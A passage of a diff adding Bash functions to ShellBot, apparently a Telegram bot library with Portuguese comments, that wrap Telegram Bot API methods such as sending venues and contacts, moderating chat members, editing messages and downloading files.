função + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:l:g:p:n:r:k:' \ + --longoptions 'chat_id:, + latitude:, + longitude:, + live_period:, + disable_notification:, + reply_to_message_id:, + reply_markup:' \ + -- "$@") + + + # Define os parâmetros posicionais + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -l|--latitude) + # Tipo: float + CheckArgType float "$1" "$2" + latitude="$2" + shift 2 + ;; + -g|--longitude) + # Tipo: float + CheckArgType float "$1" "$2" + longitude="$2" + shift 2 + ;; + -p|--live_period) + CheckArgType int "$1" "$2" + live_period="$2" + shift 2 + ;; + -n|--disable_notification) + # Tipo: boolean + CheckArgType bool "$1" "$2" + disable_notification="$2" + shift 2 + ;; + -r|--reply_to_message_id) + # Tipo: inteiro + CheckArgType int "$1" "$2" + reply_to_message_id="$2" + shift 2 + ;; + -k|--reply_markup) + reply_markup="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + # Parâmetros obrigatórios + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $latitude ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-l, --latitude]" + [[ $longitude ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-g, --longitude]" + + # Chama o método + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-F chat_id="$chat_id"} \ + ${latitude:+-F latitude="$latitude"} \ + ${longitude:+-F longitude="$longitude"} \ + ${live_period:+-F live_period="$live_period"} \ + ${disable_notification:+-F disable_notification="$disable_notification"} \ + ${reply_to_message_id:+-F reply_to_message_id="$reply_to_message_id"} \ + ${reply_markup:+-F reply_markup="$reply_markup"}) + + # Testa o retorno do método + JsonStatus $jq_obj && { + Json '.result' $jq_obj | GetObjValue + } || MessageError TG $jq_obj + + return $? + + } + + # Função utlizada para enviar detalhes de um local. + ShellBot.sendVenue() + { + # Variáveis locais + local chat_id latitude longitude title address foursquare_id disable_notification reply_to_message_id reply_markup jq_obj + + # Lê os parâmetros da função + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:l:g:i:a:f:n:r:k:' \ + --longoptions 'chat_id:, + latitude:, + longitude:, + title:, + address:, + foursquare_id:, + disable_notification:, + reply_to_message_id:, + reply_markup:' \ + -- "$@") + + # Define os parâmetros posicionais + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -l|--latitude) + # Tipo: float + CheckArgType float "$1" "$2" + latitude="$2" + shift 2 + ;; + -g|--longitude) + # Tipo: float + CheckArgType float "$1" "$2" + longitude="$2" + shift 2 + ;; + -i|--title) + title="$2" + shift 2 + ;; + -a|--address) + address="$2" + shift 2 + ;; + -f|--foursquare_id) + foursquare_id="$2" + shift 2 + ;; + -n|--disable_notification) + # Tipo: boolean + CheckArgType bool "$1" "$2" + disable_notification="$2" + shift 2 + ;; + -r|--reply_to_message_id) + # Tipo: inteiro + CheckArgType int "$1" "$2" + reply_to_message_id="$2" + shift 2 + ;; + -k|--reply_markup) + reply_markup="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + # Parâmetros obrigatórios. + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $latitude ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-l, --latitude]" + [[ $longitude ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-g, --longitude]" + [[ $title ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-i, --title]" + [[ $address ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-a, --address]" + + # Chama o método + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-F chat_id="$chat_id"} \ + ${latitude:+-F latitude="$latitude"} \ + ${longitude:+-F longitude="$longitude"} \ + ${title:+-F title="$title"} \ + ${address:+-F address="$address"} \ + ${foursquare_id:+-F foursquare_id="$foursquare_id"} \ + ${disable_notification:+-F disable_notification="$disable_notification"} \ + ${reply_to_message_id:+-F reply_to_message_id="$reply_to_message_id"} \ + ${reply_markup:+-F reply_markup="$reply_markup"}) + + # Testa o retorno do método + JsonStatus $jq_obj && { + Json '.result' $jq_obj | GetObjValue + } || MessageError TG $jq_obj + + # Status + return $? + } + + # Utilize essa função para enviar um contato + numero + ShellBot.sendContact() + { + # Variáveis locais + local chat_id phone_number first_name last_name disable_notification reply_to_message_id reply_markup jq_obj + + # Lê os parâmetros da função + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:p:f:l:n:r:k:' \ + --longoptions 'chat_id:, + phone_number:, + first_name:, + last_name:, + disable_notification:, + reply_to_message_id:, + reply_markup:' \ + -- "$@") + + + # Define os parâmetros posicionais + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -p|--phone_number) + phone_number="$2" + shift 2 + ;; + -f|--first_name) + first_name="$2" + shift 2 + ;; + -l|--last_name) + last_name="$2" + shift 2 + ;; + -n|--disable_notification) + # Tipo: boolean + CheckArgType bool "$1" "$2" + disable_notification="$2" + shift 2 + ;; + -r|--reply_to_message_id) + # Tipo: inteiro + CheckArgType int "$1" "$2" + reply_to_message_id="$2" + shift 2 + ;; + -k|--reply_markup) + reply_markup="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + # Parâmetros obrigatórios. + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $phone_number ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-p, --phone_number]" + [[ $first_name ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-f, --first_name]" + + # Chama o método + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-F chat_id="$chat_id"} \ + ${phone_number:+-F phone_number="$phone_number"} \ + ${first_name:+-F first_name="$first_name"} \ + ${last_name:+-F last_name="$last_name"} \ + ${disable_notification:+-F disable_notification="$disable_notification"} \ + ${reply_to_message_id:+-F reply_to_message_id="$reply_to_message_id"} \ + ${reply_markup:+-F reply_markup="$reply_markup"}) + + # Testa o retorno do método + JsonStatus $jq_obj && { + Json '.result' $jq_obj | GetObjValue + } || MessageError TG $jq_obj + + # Status + return $? + } + + # Envia uma ação para bot. + ShellBot.sendChatAction() + { + # Variáveis locais + local chat_id action jq_obj + + # Lê os parâmetros da função + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:a:' \ + --longoptions 'chat_id:, + action:' \ + -- "$@") + + # Define os parâmetros posicionais + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -a|--action) + [[ $2 =~ ^(typing|upload_photo|record_video|upload_video| + record_audio|upload_audio|upload_document| + find_location|record_video_note|upload_video_note)$ ]] || \ + # erro + MessageError API "$_ERR_ACTION_MODE_" "$1" "$2" + action="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + # Parâmetros obrigatórios. + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $action ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-a, --action]" + + # Chama o método + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"} \ + ${action:+-d action="$action"}) + + # Testa o retorno do método + JsonStatus $jq_obj || MessageError TG $jq_obj + + # Status + return $? + } + + # Utilize essa função para obter as fotos de um determinado usuário. + ShellBot.getUserProfilePhotos() + { + # Variáveis locais + local user_id offset limit ind last index max item total jq_obj + + # Lê os parâmetros da função + local param=$(getopt --name "$FUNCNAME" \ + --options 'u:o:l:' \ + --longoptions 'user_id:, + offset:, + limit:' \ + -- "$@") + + + # Define os parâmetros posicionais + eval set -- "$param" + + while : + do + case $1 in + -u|--user_id) + CheckArgType int "$1" "$2" + user_id="$2" + shift 2 + ;; + -o|--offset) + CheckArgType int "$1" "$2" + offset="$2" + shift 2 + ;; + -l|--limit) + CheckArgType int "$1" "$2" + limit="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + # Parâmetros obrigatórios. + [[ $user_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-u, --user_id]" + + # Chama o método + jq_obj=$(curl $_CURL_OPT_ GET $_API_TELEGRAM_/${FUNCNAME#*.} ${user_id:+-d user_id="$user_id"} \ + ${offset:+-d offset="$offset"} \ + ${limit:+-d limit="$limit"}) + + # Verifica se ocorreu erros durante a chamada do método + JsonStatus $jq_obj && { + + total=$(Json '.result.total_count' $jq_obj) + + if [[ $total -gt 0 ]]; then + for index in $(seq 0 $((total-1))) + do + max=$(Json ".result.photos[$index]|length" $jq_obj) + for item in $(seq 0 $((max-1))) + do + Json ".result.photos[$index][$item]" $jq_obj | GetObjValue + done + done + fi + + } || MessageError TG $jq_obj + + # Status + return $? + } + + # Função para listar informações do arquivo especificado. + ShellBot.getFile() + { + # Variáveis locais + local file_id jq_obj + + # Lê os parâmetros da função + local param=$(getopt --name "$FUNCNAME" \ + --options 'f:' \ + --longoptions 'file_id:' \ + -- "$@") + + + # Define os parâmetros posicionais + eval set -- "$param" + + while : + do + case $1 in + -f|--file_id) + file_id="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + # Parâmetros obrigatórios. + [[ $file_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-f, --file_id]" + + # Chama o método. + jq_obj=$(curl $_CURL_OPT_ GET $_API_TELEGRAM_/${FUNCNAME#*.} ${file_id:+-d file_id="$file_id"}) + + # Testa o retorno do método. + JsonStatus $jq_obj && { + Json '.result' $jq_obj | GetObjValue + } || MessageError TG $jq_obj + + # Status + return $? + } + + # Essa função kicka o usuário do chat ou canal. (somente administradores) + ShellBot.kickChatMember() + { + # Variáveis locais + local chat_id user_id until_date jq_obj + + # Lê os parâmetros da função + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:u:d:' \ + --longoptions 'chat_id:, + user_id:, + until_date:' \ + -- "$@") + + # Define os parâmetros posicionais + eval set -- "$param" + + # Trata os parâmetros + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -u|--user_id) + CheckArgType int "$1" "$2" + user_id="$2" + shift 2 + ;; + -d|--until_date) + CheckArgType int "$1" "$2" + until_date="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + # Parametros obrigatórios. + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $user_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-u, --user_id]" + + # Chama o método + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"} \ + ${user_id:+-d user_id="$user_id"} \ + ${until_date:+-d until_date="$until_date"}) + + # Verifica se ocorreu erros durante a chamada do método + JsonStatus $jq_obj || MessageError TG $jq_obj + + # Status + return $? + } + + # Utilize essa função para remove o bot do grupo ou canal. + ShellBot.leaveChat() + { + # Variáveis locais + local chat_id jq_obj + + # Lê os parâmetros da função + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:' \ + --longoptions 'chat_id:' \ + -- "$@") + + + # Define os parâmetros posicionais + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"}) + + # Verifica se ocorreu erros durante a chamada do método + JsonStatus $jq_obj || MessageError TG $jq_obj + + return $? + + } + + ShellBot.unbanChatMember() + { + local chat_id user_id jq_obj + + # Lê os parâmetros da função + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:u:' \ + --longoptions 'chat_id:, + user_id:' \ + -- "$@") + + + # Define os parâmetros posicionais + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -u|--user_id) + CheckArgType int "$1" "$2" + user_id="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $user_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-u, --user_id]" + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"} \ + ${user_id:+-d user_id="$user_id"}) + + # Verifica se ocorreu erros durante a chamada do método + JsonStatus $jq_obj || MessageError TG $jq_obj + + return $? + } + + ShellBot.getChat() + { + # Variáveis locais + local chat_id jq_obj + + # Lê os parâmetros da função + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:' \ + --longoptions 'chat_id:' \ + -- "$@") + + + # Define os parâmetros posicionais + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + + jq_obj=$(curl $_CURL_OPT_ GET $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"}) + + # Verifica se ocorreu erros durante a chamada do método + JsonStatus $jq_obj && { + Json '.result' $jq_obj | GetObjValue + } || MessageError TG $jq_obj + + # Status + return $? + } + + ShellBot.getChatAdministrators() + { + local chat_id total key index jq_obj + + # Lê os parâmetros da função + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:' \ + --longoptions 'chat_id:' \ + -- "$@") + + + # Define os parâmetros posicionais + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + + jq_obj=$(curl $_CURL_OPT_ GET $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"}) + + # Verifica se ocorreu erros durante a chamada do método + JsonStatus $jq_obj && { + + # Total de administratores + declare -i total=$(Json '.result|length' $jq_obj) + + # Lê os administradores do grupo se houver. + if [ $total -gt 0 ]; then + for index in $(seq 0 $((total-1))) + do + Json ".result[$index]" $jq_obj | GetObjValue + done + fi + + } || MessageError TG $jq_obj + + # Status + return $? + } + + ShellBot.getChatMembersCount() + { + local chat_id jq_obj + + # Lê os parâmetros da função + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:' \ + --longoptions 'chat_id:' \ + -- "$@") + + + # Define os parâmetros posicionais + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + + jq_obj=$(curl $_CURL_OPT_ GET $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"}) + + # Verifica se ocorreu erros durante a chamada do método + JsonStatus $jq_obj && { + Json '.result' $jq_obj + } || MessageError TG $jq_obj + + return $? + } + + ShellBot.getChatMember() + { + # Variáveis locais + local chat_id user_id jq_obj + + # Lê os parâmetros da função + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:u:' \ + --longoptions 'chat_id:, + user_id:' \ + -- "$@") + + + # Define os parâmetros posicionais + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -u|--user_id) + CheckArgType int "$1" "$2" + user_id="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $user_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-u, --user_id]" + + jq_obj=$(curl $_CURL_OPT_ GET $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"} \ + ${user_id:+-d user_id="$user_id"}) + + # Verifica se ocorreu erros durante a chamada do método + JsonStatus $jq_obj && { + Json '.result' $jq_obj | GetObjValue + } || MessageError TG $jq_obj + + return $? + } + + ShellBot.editMessageText() + { + local chat_id message_id inline_message_id text parse_mode disable_web_page_preview reply_markup jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:m:i:t:p:w:r:' \ + --longoptions 'chat_id:, + message_id:, + inline_message_id:, + text:, + parse_mode:, + disable_web_page_preview:, + reply_markup:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -m|--message_id) + CheckArgType int "$1" "$2" + message_id="$2" + shift 2 + ;; + -i|--inline_message_id) + CheckArgType int "$1" "$2" + inline_message_id="$2" + shift 2 + ;; + -t|--text) + text="$2" + shift 2 + ;; + -p|--parse_mode) + CheckArgType parsemode "$1" "$2" + parse_mode="$2" + shift 2 + ;; + -w|--disable_web_page_preview) + CheckArgType bool "$1" "$2" + disable_web_page_preview="$2" + shift 2 + ;; + -r|--reply_markup) + reply_markup="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $text ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-t, --text]" + [[ $inline_message_id ]] && unset chat_id message_id || { + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $message_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-m, --message_id]" + } + + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"} \ + ${message_id:+-d message_id="$message_id"} \ + ${inline_message_id:+-d inline_message_id="$inline_message_id"} \ + ${text:+-d text="$text"} \ + ${parse_mode:+-d parse_mode="$parse_mode"} \ + ${disable_web_page_preview:+-d disable_web_page_preview="$disable_web_page_preview"} \ + ${reply_markup:+-d reply_markup="$reply_markup"}) + + # Verifica se ocorreu erros durante a chamada do método + JsonStatus $jq_obj && { + Json '.result' $jq_obj | GetObjValue + } || MessageError TG $jq_obj + + return $? + + } + + ShellBot.editMessageCaption() + { + local chat_id message_id inline_message_id caption reply_markup jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:m:i:t:r:' \ + --longoptions 'chat_id:, + message_id:, + inline_message_id:, + caption:, + reply_markup:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -m|--message_id) + CheckArgType int "$1" "$2" + message_id="$2" + shift 2 + ;; + -i|--inline_message_id) + CheckArgType int "$1" "$2" + inline_message_id="$2" + shift 2 + ;; + -t|--caption) + caption="$2" + shift 2 + ;; + -r|--reply_markup) + reply_markup="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $message_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-m, --message_id]" + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"} \ + ${message_id:+-d message_id="$message_id"} \ + ${inline_message_id:+-d inline_message_id="$inline_message_id"} \ + ${caption:+-d caption="$caption"} \ + ${reply_markup:+-d reply_markup="$reply_markup"}) + + # Verifica se ocorreu erros durante a chamada do método + JsonStatus $jq_obj && { + Json '.result' $jq_obj | GetObjValue + } || MessageError TG $jq_obj + + return $? + + } + + ShellBot.editMessageReplyMarkup() + { + local chat_id message_id inline_message_id reply_markup jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:m:i:r:' \ + --longoptions 'chat_id:, + message_id:, + inline_message_id:, + reply_markup:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -m|--message_id) + CheckArgType int "$1" "$2" + message_id="$2" + shift 2 + ;; + -i|--inline_message_id) + CheckArgType int "$1" "$2" + inline_message_id="$2" + shift 2 + ;; + -r|--reply_markup) + reply_markup="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $inline_message_id ]] && unset chat_id message_id || { + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $message_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-m, --message_id]" + } + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"} \ + ${message_id:+-d message_id="$message_id"} \ + ${inline_message_id:+-d inline_message_id="$inline_message_id"} \ + ${reply_markup:+-d reply_markup="$reply_markup"}) + + # Verifica se ocorreu erros durante a chamada do método + JsonStatus $jq_obj && { + Json '.result' $jq_obj | GetObjValue + } || MessageError TG $jq_obj + + return $? + + } + + ShellBot.deleteMessage() + { + local chat_id message_id jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:m:' \ + --longoptions 'chat_id:, + message_id:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -m|--message_id) + CheckArgType int "$1" "$2" + message_id="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $message_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-m, --message_id]" + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"} \ + ${message_id:+-d message_id="$message_id"}) + + # Verifica se ocorreu erros durante a chamada do método + JsonStatus $jq_obj || MessageError TG $jq_obj + + return $? + + } + + ShellBot.downloadFile() { + + local file_id file_info file_remote file_path filename dir opt ext + local uri="https://api.telegram.org/file/bot$_TOKEN_" + + local param=$(getopt --name "$FUNCNAME" \ + --options 'f:d:' \ + --longoptions 'file_id:, + dir:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -f|--file_id) + opt="$1" + file_id="$2" + shift 2 + ;; + -d|--dir) + [[ -d $2 ]] && { + [[ -w $2 ]] || MessageError API "$_ERR_DIR_WRITE_DENIED_" "$1" "$2" + } || MessageError API "$_ERR_DIR_NOT_FOUND_" "$1" "$2" + dir="${2%/}" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $file_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-f, --file_id]" + [[ $dir ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-d, --dir]" + + if file_info=$(ShellBot.getFile --file_id "$file_id" 2>/dev/null); then + + file_remote="$(echo $file_info | cut -d'|' -f3)" + file_info="$(echo $file_info | cut -d'|' -f-2)" + filename=${file_remote##*/} + ext="${filename##*.}" + + file_path="$(mktemp -u --tmpdir="$dir" "file$(date +%d%m%Y%H%M%S)-XXXXX${ext:+.$ext}")" + + if wget "$uri/$file_remote" -O "$file_path" &>/dev/null; then + echo "$file_info|$file_path" + else + MessageError API "$_ERR_FILE_DOWNLOAD_" "$opt" "$file_remote" + fi + else + MessageError API "$_ERR_FILE_INVALID_ID_" "$opt" "$file_id" + fi + + return $? + } + + ShellBot.editMessageLiveLocation() + { + local chat_id message_id inline_message_id + local latitude longitude reply_markup jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:m:i:l:g:r:' \ + --longoptions 'chat_id:, + message_id:, + inline_message_id:, + latitude:, + longitude:, + reply_markup:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -m|--message_id) + CheckArgType int "$1" "$2" + message_id="$2" + shift 2 + ;; + -i|--inline_message_id) + CheckArgType int "$1" "$2" + inline_message_id="$2" + shift 2 + ;; + -l|--latitude) + # Tipo: float + CheckArgType float "$1" "$2" + latitude="$2" + shift 2 + ;; + -g|--longitude) + # Tipo: float + CheckArgType float "$1" "$2" + longitude="$2" + shift 2 + ;; + -r|--reply_markup) + reply_markup="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $inline_message_id ]] && unset chat_id message_id || { + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $message_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-m, --message_id]" + } + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"} \ + ${message_id:+-d message_id="$message_id"} \ + ${inline_message_id:+-d inline_message_id="$inline_message_id"} \ + ${latitude:+-d latitude="$latitude"} \ + ${longitude:+-d longitude="$longitude"} \ + ${reply_markup:+-d reply_markup="$reply_markup"}) + + # Testa o retorno do método + JsonStatus $jq_obj && { + Json '.result' $jq_obj | GetObjValue + } || MessageError TG $jq_obj + + return $? + } + + ShellBot.stopMessageLiveLocation() + { + local chat_id message_id inline_message_id reply_markup jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:m:i:r:' \ + --longoptions 'chat_id:, + message_id:, + inline_message_id:, + reply_markup:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -m|--message_id) + CheckArgType int "$1" "$2" + message_id="$2" + shift 2 + ;; + -i|--inline_message_id) + CheckArgType int "$1" "$2" + inline_message_id="$2" + shift 2 + ;; + -r|--reply_markup) + reply_markup="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $inline_message_id ]] && unset chat_id message_id || { + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $message_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-m, --message_id]" + } + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"} \ + ${message_id:+-d message_id="$message_id"} \ + ${inline_message_id:+-d inline_message_id="$inline_message_id"} \ + ${reply_markup:+-d reply_markup="$reply_markup"}) + + # Testa o retorno do método + JsonStatus $jq_obj && { + Json '.result' $jq_obj | GetObjValue + } || MessageError TG $jq_obj + + return $? + } + + ShellBot.setChatStickerSet() + { + local chat_id sticker_set_name jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:s:' \ + --longoptions 'chat_id:, + sticker_set_name:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -s|--sticker_set_name) + sticker_set_name="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $sticker_set_name ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-s, --sticker_set_name]" + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"} \ + ${sticker_set_name:+-d sticker_set_name="$sticker_set_name"}) + + JsonStatus $jq_obj || MessageError TG $jq_obj + + return $? + } + + ShellBot.deleteChatStickerSet() + { + local chat_id jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:' \ + --longoptions 'chat_id:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"}) + + JsonStatus $jq_obj || MessageError TG $jq_obj + + return $? + } + + ShellBot.inputMediaPhoto() + { + local __media __caption __album __delm + + local __param=$(getopt --name "$FUNCNAME" \ + --options 'a:m:c:' \ + --longoptions 'album:, + media:, + caption:' \ + -- "$@") + + + eval set -- "$__param" + + while : + do + case $1 in + -a|--album) + CheckArgType var "$1" "$2" + __album="$2" + shift 2 + ;; + -m|--media) + CheckArgType file "$1" "$2" + __media="$2" + shift 2 + ;; + -c|--caption) + __caption="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $__album ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-a, --album]" + [[ $__media ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-m, --media]" + + declare -n __album + + __album=${__album#[} + __album=${__album%]} + + [[ $__album ]] && __delm=',' + + __album+="$__delm{\"type\":\"photo\"," + __album+="\"media\":\"$__media\"" + __album+="${__caption:+,\"caption\":\"$__caption\"}}" + + __album=${__album/#/[} + __album=${__album/%/]} + + return 0 + } + + ShellBot.inputMediaVideo() + { + local __media __album __delm + local __width __height __duration __caption + + local __param=$(getopt --name "$FUNCNAME" \ + --options 'a:m:c:w:h:d:' \ + --longoptions 'album:, + media:, + caption:, + width:, + height:, + duration:' \ + -- "$@") + + + eval set -- "$__param" + + while : + do + case $1 in + -a|--album) + CheckArgType var "$1" "$2" + __album="$2" + shift 2 + ;; + -m|--media) + CheckArgType file "$1" "$2" + __media="$2" + shift 2 + ;; + -c|--caption) + __caption="$2" + shift 2 + ;; + -w|--width) + CheckArgType int "$1" "$2" + __width="$2" + shift 2 + ;; + -h|--height) + CheckArgType int "$1" "$2" + __height="$2" + shift 2 + ;; + -d|--duration) + CheckArgType int "$1" 